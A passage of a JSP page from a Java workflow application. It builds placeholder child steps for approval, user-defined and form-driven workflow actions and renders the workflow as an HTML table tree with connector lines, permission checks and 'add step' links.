            mtmStep.setChildStepID(new Integer(i*-2-k));
            mtmStep.setGroupID(new Integer(i*-2-k));
            mtmStep.setParentType("S"+k); //this parent type will affect the next step status message
            ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
          }
        }

      } else if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(leafStep.getActionType()) ) {
        int numOfRoutine = leafStep.getNumOfRoutine();
        for (int k=0; k<numOfRoutine; k++) {
          if (type.lastIndexOf("S"+k)<0) {
            WorkflowStep dummy = new WorkflowStep();
            dummy.setID(new Integer(i*-2-k));
            tree.insert("S"+(i*-2-k),leaf.getID(),dummy,leaf.getChildCount());
            MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
            mtmStep.setParentStepID(leafStep.getID());
            mtmStep.setChildStepID(new Integer(i*-2-k));
            mtmStep.setGroupID(new Integer(i*-2-k));
            mtmStep.setParentType("S"+k); //this parent type will affect the next step status message
            ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
          }
        }

      } else if (WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(leafStep.getActionType()) ) {
        int numOfRoutine = leafStep.getNumOfRoutine();
        for (int k=0; k<numOfRoutine; k++) {
          if (type.lastIndexOf("S"+k)<0) {
            WorkflowStep dummy = new WorkflowStep();
            dummy.setID(new Integer(i*-2-k));
            tree.insert("S"+(i*-2-k),leaf.getID(),dummy,leaf.getChildCount());
            MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
            mtmStep.setParentStepID(leafStep.getID());
            mtmStep.setChildStepID(new Integer(i*-2-k));
            mtmStep.setGroupID(new Integer(i*-2-k));
            mtmStep.setParentType("S"+k); //this parent type will affect the next step status message
            ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
          }
        }
/*
        if (type.lastIndexOf("D")<0) {
          WorkflowStep dummy = new WorkflowStep();
          dummy.setID(new Integer(i*-2));
          tree.put("D"+(i*-2),leaf.getID(),dummy);
          MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
          mtmStep.setParentStepID(leafStep.getID());
          mtmStep.setChildStepID(new Integer(i*-2));
          mtmStep.setGroupID(new Integer(i*-2));
          mtmStep.setParentType("S");
          ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
        }
*/
      } else if (WorkflowStep.ACTION_TYPE_TASK_TO_DO.equals(leafStep.getActionType()) || WorkflowStep.ACTION_TYPE_SUBMIT.equals(leafStep.getActionType()) || (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(leafStep.getActionType()) && (leafStep.getNumOfRoutine()==1))) {
        if (type.lastIndexOf("S")<0) {
          WorkflowStep dummy = new WorkflowStep();
          dummy.setID(new Integer(i*-2));
          tree.put("S"+(i*-2),leaf.getID(),dummy);
          MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
          mtmStep.setParentStepID(leafStep.getID());
          mtmStep.setChildStepID(new Integer(i*-2));
          mtmStep.setGroupID(new Integer(i*-2));
          mtmStep.setParentType("S");
          ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
        }
      }
    }
  }
%>


<table bgcolor="#FFFFFF" cellpadding="0" cellspacing="0" border="0" width="100%"> 
  <tr>
    <td align="right" bgcolor="#FFFFFF">
    <jsp:include page="WorkflowTreeLegend.jsp">
      <jsp:param name="trackID" value="<%=trackID%>"/>
    </jsp:include>
    </td>
  </tr>
 
<%
  String isShow=request.getParameter("isShow");
  if(Utility.isEmpty(isShow) || GlobalConstant.TRUE.equals(isShow)){
%>
  <tr>
    <td align="right"><bean:message key='common.label.priority'/>:
    <b><bean:message key='common.priority.label_1'/></b>&nbsp;&nbsp;
    <b><font color='red'>!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_2'/></b>&nbsp;&nbsp;
    <b><font color='red'>!!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_3'/></b>&nbsp;&nbsp;
    </td>
  </tr>
<%} %>
  <tr>
    <td bgcolor="#FFFFFF"><html:img src='LayoutSpacer.gif' width='1' height='20' /></td>
  </tr>
<%
//try {
  // Initialize layout variables.
  int cellHeight = nodeHeight + lineHeadHeight + lineTailHeight;
  int lineCellSpacerWidth = (nodeWidth - lineWidth) / 2;
  int totalWidth = 0;
  int currentLevel = 0;
  int maxWidth = 0;
  int siblingCount = 0;

  if (tree.getRoot() != null) {
    // Initialize the drawer.
    drawer.setTextWidth(nodeWidth);
    drawer.execute(tree.getRoot());

    // Convert Enumeration to ArrayList.
    Enumeration enumeration = tree.getRoot().breadthFirstEnumeration();
    ArrayList workflowTree = new ArrayList();
    while (enumeration.hasMoreElements()) {
      workflowTree.add(enumeration.nextElement());
    }

    //Integer progressID = TextUtility.parseIntegerObj(request.getParameter("ID"));
    Integer progressID = TextUtility.parseIntegerObj(request.getParameter("workflowProgressID"));
    // Draw the tree row.
    for (int i=0; i<workflowTree.size(); i++) {
      // Current node.
      PositionTreeNode node = (PositionTreeNode)workflowTree.get(i);
      WorkflowStep currentStep = (WorkflowStep)node.getUserObject();//simon
	    if ((progressID==null) && (trackID!=null)){
	       progressID=progressDAO.getWorkflowProgressIDByStepIDTrackID(currentStep.getID(),trackID);
	    }


      // Parent node.
      PositionTreeNode parentNode = (PositionTreeNode)node.getParent();
      WorkflowStep parentStep = (parentNode!=null) ? (WorkflowStep)parentNode.getUserObject() : null;



      // Current node's MtmWorkstepWorkstep Relationship.
      MtmWorkflowStepWorkflowStep currentStepStep =(parentStep!=null) ? (MtmWorkflowStepWorkflowStep)((Map)mtmStepMap.get()).get(parentStep.getID()+"_"+(currentStep.getParentType()==null? "" : currentStep.getParentType()+"_")+currentStep.getID()) : null;

      // Next node.
      PositionTreeNode nextNode = (i+1 < workflowTree.size()) ? (PositionTreeNode)workflowTree.get(i+1) : null;
      WorkflowStep nextStep = (nextNode!=null) ? (WorkflowStep)nextNode.getUserObject() : null;


      // Previous node.
      PositionTreeNode previousNode = (i>0) ? (PositionTreeNode)workflowTree.get(i-1) : null;
      WorkflowStep previousStep = (previousNode!=null) ? (WorkflowStep)previousNode.getUserObject(): null;

      // Check this node is on the left hand side of parent node or not.
      boolean parentIsOnLeft = (parentNode!=null) ? (node.getCenter()>parentNode.getCenter()) : false;

      // Maximum width should be equal to the 1st bouncing box (i.e. bouncing box width of root)
      if (maxWidth==0) {
        maxWidth=node.getWidth();
      }
      if (!node.isNodeSibling(previousNode)) {
        siblingCount = 0;
        int[] result = buildSiblingList(node);
        leftMostSelectedNode.set(new Integer(result[0]));
        rightMostSelectedNode.set(new Integer(result[1]));
      }
      siblingCount++;

      // Retrieve the current progress and parent progress if any.
      WorkflowProgress currentProgress = (WorkflowProgress)((Map)progressUniqueMap.get()).get(currentStep.getID());//simon
      WorkflowProgress parentProgress = (parentStep!=null) ? (WorkflowProgress)((Map)progressUniqueMap.get()).get(parentStep.getID()) : null;

      List list = (parentStep!=null) ? (List)((Map)progressMap.get()).get(parentStep.getID()) : null;
      List currentStepProgressList = (List)((Map)progressMap.get()).get(currentStep.getID());

      int siblingRightMostSelectedNode = 0;
      if (node.getChildCount()>0) {
        int[] result = buildSiblingList((PositionTreeNode)node.getFirstChild());
        siblingRightMostSelectedNode = result[1];
      }

      boolean isProcessPending = currentProgress!=null && WorkflowProgress.STATUS_PENDING.equals(currentProgress.getStatus());
      boolean isParentProcessPending = parentProgress!=null && WorkflowProgress.STATUS_PENDING.equals(parentProgress.getStatus());
      boolean isRepeated = node.getID().toString().startsWith("L");
      boolean isStepStatus= currentStepStep!= null && (Utility.getPropertyList(list, "status").contains(currentStepStep.getParentType()) || (Utility.getPropertyList(list, "status").contains("G") && "S".equals(currentStepStep.getParentType())));
      boolean isSelected = isComplete(node);//(currentProgress!=null && (!isRepeated || (isRepeated && isStepStatus))) || (!isRepeated && node.isLeaf() && isStepStatus);
      boolean isTailSelected = (siblingRightMostSelectedNode>0);
      boolean isComplete=false;
      String loopBackOnEndStep = null;//((currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO) && isRepeated) ? "Y" : "N");
      if(parentStep!=null&&(
         WorkflowStep.ACTION_TYPE_APPROVAL.equals(parentStep.getActionType())||
         WorkflowStep.ACTION_TYPE_BOOLEAN.equals(parentStep.getActionType())||
         WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(parentStep.getActionType())||
         WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(parentStep.getActionType())
                                                                                       )){
         loopBackOnEndStep = currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO)?"Y":"N";
	  }else{
	     loopBackOnEndStep = ((currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO) && isRepeated) ? "Y" : "N");
	  }
		if((trackID!=null) && currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO)){
	isComplete=isCheckComplete(conn,sessionContainer,node,trackID);//king add
	//completedList1=getCompletedList(conn,sessionContainer,node);//king add
	completedList1.set(getCompletedList(conn,sessionContainer,node));
}
	if (currentStepStep!=null) {
	}

      //check this node is the left most node (e,g, 1st child) or not
      if (totalWidth==maxWidth || totalWidth==0) {
        totalWidth = 0;
        %>
  <tr>
    <td>
      <table cellpadding="0" cellspacing="0" border="0" width="<%=maxWidth%>">
        <tr bgcolor='#FFFFFF' height="<%=cellHeight%>">
        <%
      }

      if (totalWidth<node.getX()) {
        int shift = node.getX() - totalWidth;
        totalWidth += shift;
        %>
          <td width="<%=shift%>" align="center">&nbsp;</td>
        <%
      }
      totalWidth+=node.getWidth();
      int spacerWidth = (node.getWidth() - nodeWidth)/2;
      int cellWidth = node.getWidth();
      int horizontalLineCellSpacerWidth=(cellWidth-lineWidth)/2;
      %>
          <td width="<%=cellWidth%>" valign="top">
      <%
        if (parentNode!=null) {
        %>
            <!--table cellpadding="0" cellspacing="0" border="1" width="<%=cellWidth%>" bordercolor="#FF0000"-->
            <table cellpadding="0" cellspacing="0" border="0" width="<%=cellWidth%>">
              <tr height="<%=lineWidth%>">
        <%
          if (node.getSiblingCount()>1 && ((Integer)leftMostSelectedNode.get()).intValue()<=((Integer)rightMostSelectedNode.get()).intValue() && ((Integer)leftMostSelectedNode.get()).intValue()>0 && parentNode!=null && parentNode.getCenter()>=node.getX() && parentNode.getCenter()<=node.getX()+node.getWidth() && parentNode.getCenter()!=node.getCenter()) {
            if (parentIsOnLeft) {
              boolean leftSelect=(!isOverDue && ((Integer)leftMostSelectedNode.get()).intValue() < siblingCount);
              boolean rightSelect= (!isOverDue && ((Integer)rightMostSelectedNode.get()).intValue() >= siblingCount);

              int leftCellWidth = parentNode.getCenter() - node.getX() - lineWidth / 2;
              int adjustment= (leftCellWidth<0) ? lineWidth+leftCellWidth:0;
              int rightCellWidth = horizontalLineCellSpacerWidth-leftCellWidth-lineWidth;
            %>
                <td width="<%=leftCellWidth%>" <%if(node.getPreviousSibling()!=null){%> class="ChartLine<%if(leftSelect){%>Selected<%}else{%>Normal<%}%>"<%}%>></td>
                <td width="<%=lineWidth - adjustment%>" class="ChartLine<%if(leftSelect||rightSelect){%>Selected<%}else{%>Normal<%}%>"></td>
                <td width="<%=rightCellWidth + adjustment%>" class="ChartLine<%if(rightSelect){%>Selected<%}else{%>Normal<%}%>"></td>
                <td width="<%=lineWidth - adjustment%>" class="ChartLine<%if(rightSelect){%>Selected<%}else{%>Normal<%}%>"></td>
                <td width="<%=horizontalLineCellSpacerWidth%>" <%if(node.getNextSibling()!=null){%> class="ChartLine<%=((Integer)rightMostSelectedNode.get()).intValue() > siblingCount? "Selected": "Normal"%>"<%}%>></td>
            <%
            } else if (!parentIsOnLeft) {
              boolean leftSelect=(!isOverDue && ((Integer)leftMostSelectedNode.get()).intValue() <= siblingCount);
              boolean rightSelect= (!isOverDue && ((Integer)rightMostSelectedNode.get()).intValue() > siblingCount);

              int leftCellWidth = parentNode.getCenter() - node.getCenter() - lineWidth;
              int rightCellWidth = horizontalLineCellSpacerWidth - leftCellWidth - lineWidth;
              int adjustment= (rightCellWidth<0) ? lineWidth+rightCellWidth : 0;
            %>
                <td width="<%=horizontalLineCellSpacerWidth%>" <%if(node.getPreviousSibling()!=null){%> class="ChartLine<%if(((Integer)leftMostSelectedNode.get()).intValue() < siblingCount){%>Selected<%}else{%>Normal<%}%>"<%}%>></td>
                <td width="<%=lineWidth - adjustment%>" class="ChartLine<%if(leftSelect){%>Selected<%}else{%>Normal<%}%>"></td>
                <td width="<%=leftCellWidth + adjustment%>" class="ChartLine<%if(leftSelect){%>Selected<%}else{%>Normal<%}%>"></td>
                <td width="<%=lineWidth - adjustment%>" class="ChartLine<%if(leftSelect || rightSelect){%>Selected<%}else{%>Normal<%}%>"></td>
                <td width="<%=rightCellWidth%>" <%if(node.getNextSibling()!=null){%>class="ChartLine<%if(rightSelect){%>Selected<%}else{%>Normal<%}%>"<%}%>></td>
            <%
            }
          }else{
          %>
                <td width="<%=horizontalLineCellSpacerWidth%>" <%if(node.getPreviousSibling()!=null){%> class="ChartLine<%=(!isOverDue && checkSelected(node,siblingCount,"L"))? "Selected": "Normal"%>"<%}%>></td>
                <td width="<%=lineWidth%>" class="ChartLine<%=(!isOverDue && checkSelected(node,siblingCount,"C")) ? "Selected": "Normal"%>"></td>
                <td width="<%=horizontalLineCellSpacerWidth%>" <%if(node.getNextSibling()!=null){%> class="ChartLine<%=(!isOverDue && checkSelected(node,siblingCount,"R"))? "Selected": "Normal"%>"<%}%>></td>
        <%}%>
              </tr>
            </table>
       <%}%>
      <%
	  String currentStepPermissionTypes = "";
      //add delegeter user List
      List delegationList = delegationDAO.getListDelegatedToUser();
      if (!Utility.isEmpty(currentProgress)) {
         currentStepPermissionTypes = wfPermissionManager.getPermissionForUser(currentProgress.getWorkflowStepID(),  currentProgress.getTrackID(), null);
		 for(Iterator it=delegationList.iterator();it.hasNext();){
		    UserDelegation userDelegation = (UserDelegation)it.next();
            currentStepPermissionTypes+=wfPermissionManager.getPermissionForUser(currentProgress.getWorkflowStepID(),  currentProgress.getTrackID(), userDelegation.getSourceUserID());
		 }
      } else {
        currentStepPermissionTypes = wfPermissionManager.getPermissionForUser(currentStep.getID(), null, null);
        for(Iterator it=delegationList.iterator();it.hasNext();){
		    UserDelegation userDelegation = (UserDelegation)it.next();
            currentStepPermissionTypes+=wfPermissionManager.getPermissionForUser(currentStep.getID(),  null, userDelegation.getSourceUserID());
		 }
      }
      %>
            <!--table cellpadding="0" cellspacing="0" border="1" width="<%=cellWidth%>" height="100%" bordercolor="#00FF00"-->
            <table cellpadding="0" cellspacing="0" border="0" width="<%=cellWidth%>" height="100%">
              <tr>
                <td width="<%=spacerWidth%>" align='center' valign="top"></td>
                <td width="<%=nodeWidth%>" bgcolor='#FFFFFF' align='center' valign='top'>
                  <!-- Checking this node is root node or not-->
       <%if (parentNode!=null && (Utility.isEmpty(parentStep.getActionID()) || (!Utility.isEmpty(parentStep.getActionID()) && !((WorkflowProcessor)AutomaticTaskFactory.getInstance(parentStep.getWorkflowAction())).isLeaf()))) {
       %>
                  <!-- Start of Header Vertical Line -->
                  <!--table width="<%=nodeWidth%>" cellpadding="0" cellspacing="0" border="1" bordercolor="#0000FF"-->
                  <table width="<%=nodeWidth%>" cellpadding="0" cellspacing="0" border="0">
                    <tr height="<%=lineHeadHeight%>">

                      <td width="<%=lineCellSpacerWidth%>" align="right" valign="top">
      <!-- ***** Start of add new step icon ***** -->
      
	  <%
          if (request.getAttribute("isSetup")!=null && request.getAttribute("isPending")!=null && request.getAttribute("isCopy")==null&&(!"V".equals(request.getParameter("navMode")))) {
            String loopBack = "";
            String parentType = "";
            String routeNum = "";
            String currentStepActionType = "";
            currentStepActionType = currentStep.getActionType();

            if (parentStep!=null && currentStepStep!=null) {
              loopBack = currentStepStep.getLoopBack();
              parentType= currentStepStep.getParentType();
              routeNum = (parentType.length()>1?parentType.substring(1,parentType.length()): "");
              parentType=parentType.substring(0, 1);
            }

            //add check
            String isHaveMultSubStep = "N";
            if ((WorkflowStep.ACTION_TYPE_APPROVAL.equals(currentStep.getActionType()) || WorkflowStep.ACTION_TYPE_BOOLEAN.equals(currentStep.getActionType()) || WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(currentStep.getActionType())) && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
              List subStepList = stepDAO.getListByParentStepID(currentStep.getID());
              for (int g = 0; !Utility.isEmpty(subStepList) && g < subStepList.size(); g++) {
                WorkflowStep currentSubStep = (WorkflowStep)subStepList.get(g);
                if (!WorkflowStep.END_STEP_SEQ_NO.equals(currentSubStep.getStepSeq())) {
                  isHaveMultSubStep = "Y";
                }
              }
            }
            if (parentStep!=null && WorkflowStep.ACTION_TYPE_APPROVAL.equals(parentStep.getActionType())) {
          
               if ("A".equals(parentType.substring(0,1))) {%>
                 <a href='javascript://' onClick='return operateStep("currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=A&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>", "<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_approved")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=A&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterApprove.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_approved")%>'/></a--><%
               }else{%>
                 <a href='javascript://' onClick='return operateStep("currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=R&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>", "<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_rejected")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=R&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterReject.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_rejected")%>'/></a--><%
               }
            }else if (parentStep!=null && WorkflowStep.ACTION_TYPE_BOOLEAN.equals(parentStep.getActionType())) {
              if (WorkflowStep.PARENT_TYPE_YES.equals(parentType.substring(0,1))) { %>
                 <a href='javascript://' onClick='return operateStep("parentStepActionType=<%=parentStep.getActionType()%>&currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=<%=WorkflowStep.PARENT_TYPE_YES%>&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>","<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_yes")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=<%=WorkflowStep.PARENT_TYPE_YES%>&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterApprove.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_yes")%>'/></a--><%
              } else { %>
                 <a href='javascript://' onClick='return operateStep("parentStepActionType=<%=parentStep.getActionType()%>&currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=<%=WorkflowStep.PARENT_TYPE_NO%>&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>", "<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_no")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=<%=WorkflowStep.PARENT_TYPE_NO%>&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterReject.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_no")%>'/></a--><%
              }
            } else if (parentStep!=null && WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(parentStep.getActionType()) && parentStep.getNumOfRoutine()>1) {
          %>
                 <a href='javascript://' onClick='return operateStep("parentStepActionType=<%=parentStep.getActionType()%>&currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S<%=routeNum%>&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>", "<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S<%=routeNum%>&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterTask.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a--><%
            } else if (parentStep!=null && WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(parentStep.getActionType())) {
                 %>
                 <a href='javascript://' onClick='return operateStep("parentStepActionType=<%=parentStep.getActionType()%>&currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S<%=routeNum%>&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>", "<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S<%=routeNum%>&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterTask.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a--><%
            } else if (parentStep!=null && WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(parentStep.getActionType())) {
                 %>
                 <a href='javascript://' onClick='return operateStep("parentStepActionType=<%=parentStep.getActionType()%>&currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S<%=routeNum%>&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>", "<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=D&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterTask.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a--><%
            } else {
          %>

                 <a href='javascript://' onClick='return operateStep("parentStepActionType=<%=parentStep.getActionType()%>&currentStepActionType=<%=currentStepActionType%>&currentWorkflowStepID=<%=currentStepStep.getChildStepID()%>&workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S&categoryID=<%=workflowCategoryID%>&loopBackOnEndStep=<%=loopBackOnEndStep%>","<%=isHaveMultSubStep%>");'><html:img src='LayoutNavMenuExitOn.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a>
                 <!--a href='javascript://' onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?workflowGroupID=<%=workflowGroupID%>&workflowRecordID=<%=parentStep.getWorkflowRecordID()%>&parentStepID=<%=parentStep.getID()%>&loopBack=<%=loopBack%>&parentType=S&categoryID=<%=workflowCategoryID%>", "DCIVisionWorkflowStepWin", 900, 650, "scrollbars=yes");'><html:img src='IconLargeWorkflowAddAfterTask.gif'  align='absmiddle' alt='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.add_step_after_completed")%>'/></a--><%
            }
          }
      %>
	  
      <!-- ***** End of add new step icon ***** -->
                      &nbsp;</td>

                      <td width="<%=lineWidth%>" class="ChartLine<%=(!isOverDue && isSelected)? "Selected": "Normal"%>"></td>
                      <td width="<%=lineCellSpacerWidth%>" class="ChartLineLabel">
      <!--  *****  Start of Action Type Description  ***** -->
      <%
            isOverDue = false;
            if (parentStep!=null && currentStepStep!=null) {
              String loopBack = currentStepStep.getLoopBack();
              String parentType = currentStepStep.getParentType();

              parentType = parentType.substring(0, 1);
              if(!WorkflowStep.PARENT_TYPE_SINGLE.equals(parentType)) {
                int labelType = WorkflowProcessor.LABEL_TYPE_APPROVAL;
                if (parentStep.getWorkflowAction() != null && parentStep.getWorkflowAction().getActionClassName() != null) {
                  labelType = ((WorkflowProcessor)AutomaticTaskFactory.getInstance(parentStep.getWorkflowAction())).getLabelType();
                } else if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(parentStep.getActionType()) ) {
                  labelType = -1;
                }

                if (labelType == WorkflowProcessor.LABEL_TYPE_YES_NO) {%>
                <bean:message key='<%="A".equals(parentType) ? "common.label.yes" : "common.label.no"%>'/>
              <%} else if (labelType == WorkflowProcessor.LABEL_TYPE_USER_DEFINE) {%>
